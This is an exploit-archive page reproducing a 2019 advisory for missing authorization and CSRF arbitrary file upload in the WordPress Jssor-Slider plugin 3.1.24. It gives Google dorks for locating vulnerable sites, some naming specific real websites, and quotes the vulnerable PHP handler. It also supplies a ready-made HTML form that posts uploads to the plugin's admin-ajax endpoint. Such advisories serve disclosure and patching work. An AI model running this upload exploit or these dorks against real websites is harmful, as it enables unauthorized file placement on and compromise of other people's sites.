exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Jssor-Slider 3.1.24 Cross Site Request Forgery / File Upload

WordPress Jssor-Slider 3.1.24 Cross Site Request Forgery / File Upload
Posted Feb 14, 2019
Authored by KingSkrupellos

WordPress Jssor-Slider plugin version 3.1.24 suffers from cross site request forgery and remote file upload vulnerabilities.

tags | exploit, remote, vulnerability, file upload, csrf
SHA-256 | 4e5ec89d243458ded11b3a5410778f396b0f09bffeb8a9b6b43aeee55cdff04a

WordPress Jssor-Slider 3.1.24 Cross Site Request Forgery / File Upload

Change Mirror Download
##########################################################################

# Exploit Title : WordPress Jssor-Slider Plugins 3.1.24 CSRF Arbitrary File Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/02/2019
# Vendor Homepage : jssor.com ~ drcsystems.com ~ ethicsolutions.com
# Software Download Link : downloads.wordpress.org/plugin/jssor-slider.3.1.24.zip
# Software Information Link : wordpress.org/plugins/jssor-slider/
# Software Affected Version : 3.1.24 and previous versions
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/jssor-slider/''
# Vulnerability Type : CWE-284 [ Improper Access Control ] - CWE-862 [ Missing Authorization ]
# CXSecurity Reference Link : cxsecurity.com/ascii/WLB-2018060226
# Cyberizm Reference Link : cyberizm.org/cyberizm-wordpress-drcsystems-ethicsolutions-jssorslider-exploit.html

##########################################################################

# Description About Software :
****************************
Description : Jssor Slider by jssor.com is open source software.

Jssor Slider is professional, light weight and easy to use
slideshow/slider/gallery/carousel/banner, it is optimized for mobile device with tons of unique features.

# Key Features :

Touch Swipe - 200+ Slideshow Transitions - Layer Animation -
Fast Loading, load slider html code from disk cache directly -
High Performance Light Weight - Easy to Use - Repeated Layer Animation -
Image Layer - Text/Html Layer - Panel Layer - Nested Layer -
Layer Blending - Clip Mask - Multiplex Transition - z-index Animation -
Timeline Break - Dozens of bullet/arrow/thumbnail skins

##########################################################################

# Google Dorks :
*********************

inurl:''/wp-content/jssor-slider/jssor-uploads/''

intext:''Managed by Web development company Ethic Solutions''

intext:''Todos los derechos reservados (c) Ecuaauto - Distribuidor autorizado Chevrolet Ecuador''

intext:''Website Developed by DRC Systems''

##########################################################################

Vulnerable Source Code :
************************
When the plugin is active the function register_ajax_calls() in the file /lib/jssor-slider-class.php is run:

That gives anyone access to two AJAX functions that are only intended to be accessible to those logged in as Administrators.
The upload_library() function accessible through that handles uploading a file through /lib/upload.php.
That file also doesnt do any checks as to who is making the request and does not restrict what type of files can be uploaded.
It is also possible to exploit this by sending a request directly to the file /lib/upload.php, as long as the undefined constant in that isnt treated as an error.
The following proof of concept will upload the selected file to the directory /wp-content/jssor-slider/jssor-uploads/.
Make sure to replace [path to WordPress] with the location of WordPress.

public function register_ajax_calls() {

if ( isset( $_REQUEST['action'] ) ) {
switch ( $_REQUEST['action'] ) {
case 'add_new_slider_library' :
add_action( 'admin_init', 'jssor_slider_library' );
function jssor_slider_library() {

include_once JSSOR_SLIDER_PATH . '/lib/add-new-slider-class.php';
}
break;
case 'upload_library' :
add_action( 'admin_init', 'upload_library' );
function upload_library() {

include_once JSSOR_SLIDER_PATH . '/lib/upload.php';
}
break;
}
}
}


#####################################################################################################

# Exploit :
***********

/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library

# Error : {"jsonrpc" : "2.0", "result" : null, "id" : "id"}

# Exploit Code CSRF Cross Site Request Forgery :
*********************************************

<html>
<body>
<form action="http://[PATH]/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library" method="POST" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>
</html

# Uploaded File Path :
********************

/wp-content/jssor-slider/jssor-uploads/.....

# Allowed File Extensions : With the exception of php and asp. [ Not Allowed ]

But other files extensions are allowed. For example html and txt and etcetra....

# Usage : Use with XAMPP Control Panel and with your Localhost [ 127.0.0.1]

localhost/jssorsliderexploiter.html

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close